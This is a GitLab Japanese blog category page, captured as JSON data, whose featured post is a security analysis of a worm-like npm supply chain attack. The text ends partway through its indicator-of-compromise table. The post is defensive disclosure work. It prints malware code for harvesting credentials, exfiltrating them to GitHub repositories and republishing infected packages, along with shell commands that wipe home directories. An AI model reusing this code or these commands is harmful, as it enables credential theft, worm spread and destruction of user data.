[{"data":1,"prerenderedAt":670},["ShallowReactive",2],{"/ja-jp/blog/categories/security-labs":3,"navigation-ja-jp":22,"banner-ja-jp":421,"footer-ja-jp":431,"security-labs-category-page-total-items-ja-jp":637,"security-labs-category-page-featured-ja-jp":638,"security-labs-category-page-1-ja-jp":669},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":12,"description":6,"extension":15,"meta":16,"navigation":9,"path":17,"seo":18,"slug":6,"stem":20,"testContent":6,"type":6,"__hash__":21},"blogCategories/ja-jp/blog/categories/security-labs.yml","Security Labs",null,{"template":8,"isCustomCategory":9,"slug":10,"hide":11},"BlogCategory",true,"security-labs",false,{"name":13,"description":14},"セキュリティリサーチ","Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.","yml",{},"/ja-jp/blog/categories/security-labs",{"title":13,"description":19},"Browse articles related to セキュリティリサーチ on the GitLab Blog","ja-jp/blog/categories/security-labs","-X8QcedzdzVRaFBAA3gmxbVhS6zVmEJT1EYG7gUnsgc",{"data":23},{"logo":24,"freeTrial":29,"sales":34,"login":39,"items":44,"search":352,"minimal":385,"duo":402,"pricingDeployment":411},{"config":25},{"href":26,"dataGaName":27,"dataGaLocation":28},"/ja-jp/","gitlab logo","header",{"text":30,"config":31},"無料トライアルを開始",{"href":32,"dataGaName":33,"dataGaLocation":28},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp&glm_content=default-saas-trial/","free trial",{"text":35,"config":36},"お問い合わせ",{"href":37,"dataGaName":38,"dataGaLocation":28},"/ja-jp/sales/","sales",{"text":40,"config":41},"サインイン",{"href":42,"dataGaName":43,"dataGaLocation":28},"https://gitlab.com/users/sign_in/","sign in",[45,72,168,173,274,334],{"text":46,"config":47,"cards":49},"プラットフォーム",{"dataNavLevelOne":48},"platform",[50,56,64],{"title":46,"description":51,"link":52},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":53,"config":54},"プラットフォームを詳しく見る",{"href":55,"dataGaName":48,"dataGaLocation":28},"/ja-jp/platform/",{"title":57,"description":58,"link":59},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":60,"config":61},"GitLab Duoのご紹介",{"href":62,"dataGaName":63,"dataGaLocation":28},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":65,"description":66,"link":67},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":68,"config":69},"詳細はこちら",{"href":70,"dataGaName":71,"dataGaLocation":28},"/ja-jp/why-gitlab/","why gitlab",{"text":73,"left":9,"config":74,"link":76,"lists":80,"footer":150},"製品",{"dataNavLevelOne":75},"solutions",{"text":77,"config":78},"すべてのソリューションを表示",{"href":79,"dataGaName":75,"dataGaLocation":28},"/ja-jp/solutions/",[81,106,128],{"title":82,"description":83,"link":84,"items":89},"自動化","CI/CDと自動化でデプロイを加速",{"config":85},{"icon":86,"href":87,"dataGaName":88,"dataGaLocation":28},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[90,94,97,102],{"text":91,"config":92},"CI/CD",{"href":93,"dataGaLocation":28,"dataGaName":91},"/ja-jp/solutions/continuous-integration/",{"text":57,"config":95},{"href":62,"dataGaLocation":28,"dataGaName":96},"gitlab duo agent platform - product menu",{"text":98,"config":99},"ソースコード管理",{"href":100,"dataGaLocation":28,"dataGaName":101},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":103,"config":104},"自動化されたソフトウェアデリバリー",{"href":87,"dataGaLocation":28,"dataGaName":105},"Automated software delivery",{"title":107,"description":108,"link":109,"items":114},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":110},{"href":111,"dataGaName":112,"dataGaLocation":28,"icon":113},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[115,119,124],{"text":116,"config":117},"Application Security Testing",{"href":111,"dataGaName":118,"dataGaLocation":28},"Application security testing",{"text":120,"config":121},"ソフトウェアサプライチェーンの安全性",{"href":122,"dataGaLocation":28,"dataGaName":123},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":125,"config":126},"Software Compliance",{"href":127,"dataGaName":125,"dataGaLocation":28},"/ja-jp/solutions/software-compliance/",{"title":129,"link":130,"items":135},"測定",{"config":131},{"icon":132,"href":133,"dataGaName":134,"dataGaLocation":28},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[136,140,145],{"text":137,"config":138},"可視性と測定",{"href":133,"dataGaLocation":28,"dataGaName":139},"Visibility and Measurement",{"text":141,"config":142},"バリューストリーム管理",{"href":143,"dataGaLocation":28,"dataGaName":144},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":146,"config":147},"分析とインサイト",{"href":148,"dataGaLocation":28,"dataGaName":149},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":151,"items":152},"GitLabが活躍する場所",[153,158,163],{"text":154,"config":155},"Enterprise",{"href":156,"dataGaLocation":28,"dataGaName":157},"/ja-jp/enterprise/","enterprise",{"text":159,"config":160},"スモールビジネス",{"href":161,"dataGaLocation":28,"dataGaName":162},"/ja-jp/small-business/","small business",{"text":164,"config":165},"公共機関",{"href":166,"dataGaLocation":28,"dataGaName":167},"/ja-jp/solutions/public-sector/","public sector",{"text":169,"config":170},"価格",{"href":171,"dataGaName":172,"dataGaLocation":28,"dataNavLevelOne":172},"/ja-jp/pricing/","pricing",{"text":174,"config":175,"link":177,"lists":181,"feature":261},"関連リソース",{"dataNavLevelOne":176},"resources",{"text":178,"config":179},"すべてのリソースを表示",{"href":180,"dataGaName":176,"dataGaLocation":28},"/ja-jp/resources/",[182,215,233],{"title":183,"items":184},"はじめに",[185,190,195,200,205,210],{"text":186,"config":187},"インストール",{"href":188,"dataGaName":189,"dataGaLocation":28},"/ja-jp/install/","install",{"text":191,"config":192},"クイックスタートガイド",{"href":193,"dataGaName":194,"dataGaLocation":28},"/ja-jp/get-started/","quick setup checklists",{"text":196,"config":197},"学ぶ",{"href":198,"dataGaLocation":28,"dataGaName":199},"https://university.gitlab.com/","learn",{"text":201,"config":202},"製品ドキュメント",{"href":203,"dataGaName":204,"dataGaLocation":28},"https://docs.gitlab.com/","product documentation",{"text":206,"config":207},"ベストプラクティスビデオ",{"href":208,"dataGaName":209,"dataGaLocation":28},"/ja-jp/getting-started-videos/","best practice videos",{"text":211,"config":212},"インテグレーション",{"href":213,"dataGaName":214,"dataGaLocation":28},"/ja-jp/integrations/","integrations",{"title":216,"items":217},"検索する",[218,223,228],{"text":219,"config":220},"お客様成功事例",{"href":221,"dataGaName":222,"dataGaLocation":28},"/ja-jp/customers/","customer success stories",{"text":224,"config":225},"ブログ",{"href":226,"dataGaName":227,"dataGaLocation":28},"/ja-jp/blog/","blog",{"text":229,"config":230},"リモート",{"href":231,"dataGaName":232,"dataGaLocation":28},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":234,"items":235},"つなげる",[236,241,246,251,256],{"text":237,"config":238},"GitLabサービス",{"href":239,"dataGaName":240,"dataGaLocation":28},"/ja-jp/services/","services",{"text":242,"config":243},"コミュニティ",{"href":244,"dataGaName":245,"dataGaLocation":28},"/community/","community",{"text":247,"config":248},"フォーラム",{"href":249,"dataGaName":250,"dataGaLocation":28},"https://forum.gitlab.com/","forum",{"text":252,"config":253},"イベント",{"href":254,"dataGaName":255,"dataGaLocation":28},"/events/","events",{"text":257,"config":258},"パートナー",{"href":259,"dataGaName":260,"dataGaLocation":28},"/ja-jp/partners/","partners",{"backgroundColor":262,"textColor":263,"text":264,"image":265,"link":269},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":266,"config":267},"ソースプロモカード",{"src":268},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":270,"config":271},"最新情報を読む",{"href":272,"dataGaName":273,"dataGaLocation":28},"/ja-jp/the-source/","the source",{"text":275,"config":276,"lists":278},"会社情報",{"dataNavLevelOne":277},"company",[279],{"items":280},[281,286,292,294,299,304,309,314,319,324,329],{"text":282,"config":283},"GitLabについて",{"href":284,"dataGaName":285,"dataGaLocation":28},"/ja-jp/company/","about",{"text":287,"config":288,"footerGa":291},"採用情報",{"href":289,"dataGaName":290,"dataGaLocation":28},"/jobs/","jobs",{"dataGaName":290},{"text":252,"config":293},{"href":254,"dataGaName":255,"dataGaLocation":28},{"text":295,"config":296},"経営陣",{"href":297,"dataGaName":298,"dataGaLocation":28},"/company/team/e-group/","leadership",{"text":300,"config":301},"チーム",{"href":302,"dataGaName":303,"dataGaLocation":28},"/company/team/","team",{"text":305,"config":306},"ハンドブック",{"href":307,"dataGaName":308,"dataGaLocation":28},"https://handbook.gitlab.com/","handbook",{"text":310,"config":311},"投資家向け情報",{"href":312,"dataGaName":313,"dataGaLocation":28},"https://ir.gitlab.com/","investor relations",{"text":315,"config":316},"トラストセンター",{"href":317,"dataGaName":318,"dataGaLocation":28},"/ja-jp/security/","trust center",{"text":320,"config":321},"AI Transparency Center",{"href":322,"dataGaName":323,"dataGaLocation":28},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":325,"config":326},"ニュースレター",{"href":327,"dataGaName":328,"dataGaLocation":28},"/company/contact/#contact-forms","newsletter",{"text":330,"config":331},"プレス",{"href":332,"dataGaName":333,"dataGaLocation":28},"/press/","press",{"text":35,"config":335,"lists":336},{"dataNavLevelOne":277},[337],{"items":338},[339,342,347],{"text":35,"config":340},{"href":37,"dataGaName":341,"dataGaLocation":28},"talk to sales",{"text":343,"config":344},"サポートポータル",{"href":345,"dataGaName":346,"dataGaLocation":28},"https://support.gitlab.com","support portal",{"text":348,"config":349},"カスタマーポータル",{"href":350,"dataGaName":351,"dataGaLocation":28},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":353,"login":354,"suggestions":361},"閉じる",{"text":355,"link":356},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":357,"config":358},"GitLab.com",{"href":42,"dataGaName":359,"dataGaLocation":360},"search login","search",{"text":362,"default":363},"提案",[364,366,371,373,377,381],{"text":57,"config":365},{"href":62,"dataGaName":57,"dataGaLocation":360},{"text":367,"config":368},"コード提案（AI）",{"href":369,"dataGaName":370,"dataGaLocation":360},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":91,"config":372},{"href":93,"dataGaName":91,"dataGaLocation":360},{"text":374,"config":375},"GitLab on AWS",{"href":376,"dataGaName":374,"dataGaLocation":360},"/ja-jp/partners/technology-partners/aws/",{"text":378,"config":379},"GitLab on Google Cloud",{"href":380,"dataGaName":378,"dataGaLocation":360},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":382,"config":383},"GitLabを選ぶ理由",{"href":70,"dataGaName":384,"dataGaLocation":360},"Why GitLab?",{"freeTrial":386,"mobileIcon":390,"desktopIcon":395,"secondaryButton":398},{"text":30,"config":387},{"href":388,"dataGaName":33,"dataGaLocation":389},"https://gitlab.com/-/trials/new/","nav",{"altText":391,"config":392},"GitLabアイコン",{"src":393,"dataGaName":394,"dataGaLocation":389},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":391,"config":396},{"src":397,"dataGaName":394,"dataGaLocation":389},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":183,"config":399},{"href":400,"dataGaName":401,"dataGaLocation":389},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/get-started/","get started",{"freeTrial":403,"mobileIcon":407,"desktopIcon":409},{"text":404,"config":405},"GitLab Duoの詳細について",{"href":62,"dataGaName":406,"dataGaLocation":389},"gitlab duo",{"altText":391,"config":408},{"src":393,"dataGaName":394,"dataGaLocation":389},{"altText":391,"config":410},{"src":397,"dataGaName":394,"dataGaLocation":389},{"freeTrial":412,"mobileIcon":417,"desktopIcon":419},{"text":413,"config":414},"料金ページに戻る",{"href":171,"dataGaName":415,"dataGaLocation":389,"icon":416},"back to pricing","GoBack",{"altText":391,"config":418},{"src":393,"dataGaName":394,"dataGaLocation":389},{"altText":391,"config":420},{"src":397,"dataGaName":394,"dataGaLocation":389},{"title":422,"button":423,"config":428},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":424,"config":425},"GitLab Transcendを今すぐ視聴",{"href":426,"dataGaName":427,"dataGaLocation":28},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":429,"icon":430,"disabled":9},"release","AiStar",{"data":432},{"text":433,"source":434,"edit":440,"contribute":445,"config":450,"items":455,"minimal":629},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":435,"config":436},"ページのソースを表示",{"href":437,"dataGaName":438,"dataGaLocation":439},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":441,"config":442},"このページを編集",{"href":443,"dataGaName":444,"dataGaLocation":439},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":446,"config":447},"ご協力をお願いします",{"href":448,"dataGaName":449,"dataGaLocation":439},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":451,"facebook":452,"youtube":453,"linkedin":454},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[456,479,533,563,598],{"title":46,"links":457,"subMenu":462},[458],{"text":459,"config":460},"DevSecOpsプラットフォーム",{"href":55,"dataGaName":461,"dataGaLocation":439},"devsecops platform",[463],{"title":169,"links":464},[465,469,474],{"text":466,"config":467},"プランの表示",{"href":171,"dataGaName":468,"dataGaLocation":439},"view plans",{"text":470,"config":471},"Premiumを選ぶ理由",{"href":472,"dataGaName":473,"dataGaLocation":439},"/ja-jp/pricing/premium/","why premium",{"text":475,"config":476},"Ultimateを選ぶ理由",{"href":477,"dataGaName":478,"dataGaLocation":439},"/ja-jp/pricing/ultimate/","why ultimate",{"title":480,"links":481},"ソリューション",[482,487,490,492,497,502,506,509,512,517,519,521,523,528],{"text":483,"config":484},"デジタルトランスフォーメーション",{"href":485,"dataGaName":486,"dataGaLocation":439},"/ja-jp/topics/digital-transformation/","digital transformation",{"text":488,"config":489},"セキュリティとコンプライアンス",{"href":111,"dataGaName":118,"dataGaLocation":439},{"text":103,"config":491},{"href":87,"dataGaName":88,"dataGaLocation":439},{"text":493,"config":494},"アジャイル開発",{"href":495,"dataGaName":496,"dataGaLocation":439},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":498,"config":499},"クラウドトランスフォーメーション",{"href":500,"dataGaName":501,"dataGaLocation":439},"/ja-jp/topics/cloud-native/","cloud transformation",{"text":503,"config":504},"SCM",{"href":100,"dataGaName":505,"dataGaLocation":439},"source code management",{"text":91,"config":507},{"href":93,"dataGaName":508,"dataGaLocation":439},"continuous integration & delivery",{"text":141,"config":510},{"href":143,"dataGaName":511,"dataGaLocation":439},"value stream management",{"text":513,"config":514},"GitOps",{"href":515,"dataGaName":516,"dataGaLocation":439},"/ja-jp/solutions/gitops/","gitops",{"text":154,"config":518},{"href":156,"dataGaName":157,"dataGaLocation":439},{"text":159,"config":520},{"href":161,"dataGaName":162,"dataGaLocation":439},{"text":164,"config":522},{"href":166,"dataGaName":167,"dataGaLocation":439},{"text":524,"config":525},"教育",{"href":526,"dataGaName":527,"dataGaLocation":439},"/ja-jp/solutions/education/","education",{"text":529,"config":530},"金融サービス",{"href":531,"dataGaName":532,"dataGaLocation":439},"/ja-jp/solutions/finance/","financial services",{"title":174,"links":534},[535,537,539,541,544,546,549,551,553,555,557,559,561],{"text":186,"config":536},{"href":188,"dataGaName":189,"dataGaLocation":439},{"text":191,"config":538},{"href":193,"dataGaName":194,"dataGaLocation":439},{"text":196,"config":540},{"href":198,"dataGaName":199,"dataGaLocation":439},{"text":201,"config":542},{"href":203,"dataGaName":543,"dataGaLocation":439},"docs",{"text":224,"config":545},{"href":226,"dataGaName":227},{"text":547,"config":548},"お客様の成功事例",{"href":221,"dataGaLocation":439},{"text":219,"config":550},{"href":221,"dataGaName":222,"dataGaLocation":439},{"text":229,"config":552},{"href":231,"dataGaName":232,"dataGaLocation":439},{"text":237,"config":554},{"href":239,"dataGaName":240,"dataGaLocation":439},{"text":242,"config":556},{"href":244,"dataGaName":245,"dataGaLocation":439},{"text":247,"config":558},{"href":249,"dataGaName":250,"dataGaLocation":439},{"text":252,"config":560},{"href":254,"dataGaName":255,"dataGaLocation":439},{"text":257,"config":562},{"href":259,"dataGaName":260,"dataGaLocation":439},{"title":564,"links":565},"Company",[566,568,570,572,574,576,578,582,587,589,591,593],{"text":282,"config":567},{"href":284,"dataGaName":277,"dataGaLocation":439},{"text":287,"config":569},{"href":289,"dataGaName":290,"dataGaLocation":439},{"text":295,"config":571},{"href":297,"dataGaName":298,"dataGaLocation":439},{"text":300,"config":573},{"href":302,"dataGaName":303,"dataGaLocation":439},{"text":305,"config":575},{"href":307,"dataGaName":308,"dataGaLocation":439},{"text":310,"config":577},{"href":312,"dataGaName":313,"dataGaLocation":439},{"text":579,"config":580},"Sustainability",{"href":581,"dataGaName":579,"dataGaLocation":439},"/sustainability/",{"text":583,"config":584},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":585,"dataGaName":586,"dataGaLocation":439},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":315,"config":588},{"href":317,"dataGaName":318,"dataGaLocation":439},{"text":325,"config":590},{"href":327,"dataGaName":328,"dataGaLocation":439},{"text":330,"config":592},{"href":332,"dataGaName":333,"dataGaLocation":439},{"text":594,"config":595},"現代奴隷制の透明性に関する声明",{"href":596,"dataGaName":597,"dataGaLocation":439},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":35,"links":599},[600,602,607,609,614,619,624],{"text":35,"config":601},{"href":37,"dataGaName":38,"dataGaLocation":439},{"text":603,"config":604},"サポートを受ける",{"href":605,"dataGaName":606,"dataGaLocation":439},"https://support.gitlab.com/hc/en-us/articles/11626483177756-GitLab-Support","get help",{"text":348,"config":608},{"href":350,"dataGaName":351,"dataGaLocation":439},{"text":610,"config":611},"ステータス",{"href":612,"dataGaName":613,"dataGaLocation":439},"https://status.gitlab.com/","status",{"text":615,"config":616},"利用規約",{"href":617,"dataGaName":618,"dataGaLocation":439},"/terms/","terms of use",{"text":620,"config":621},"プライバシーに関する声明",{"href":622,"dataGaName":623,"dataGaLocation":439},"/ja-jp/privacy/","privacy statement",{"text":625,"config":626},"Cookieの設定",{"dataGaName":627,"dataGaLocation":439,"id":628,"isOneTrustButton":9},"cookie preferences","ot-sdk-btn",{"items":630},[631,633,635],{"text":615,"config":632},{"href":617,"dataGaName":618,"dataGaLocation":439},{"text":620,"config":634},{"href":622,"dataGaName":623,"dataGaLocation":439},{"text":625,"config":636},{"dataGaName":627,"dataGaLocation":439,"id":628,"isOneTrustButton":9},1,{"id":639,"title":640,"authorSlugs":641,"body":6,"categorySlug":10,"config":644,"content":647,"description":6,"extension":15,"isFeatured":9,"meta":660,"navigation":9,"path":661,"publishedDate":654,"seo":662,"stem":665,"tagSlugs":666,"__hash__":668},"blogPosts/ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack.yml","Gitlab Discovers Widespread Npm Supply Chain Attack",[642,643],"michael-henriksen","daniel-abeles",{"featured":9,"template":645,"slug":646},"BlogPost","gitlab-discovers-widespread-npm-supply-chain-attack",{"heroImage":648,"body":649,"authors":650,"updatedDate":653,"date":654,"title":655,"tags":656,"description":659,"category":10},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | 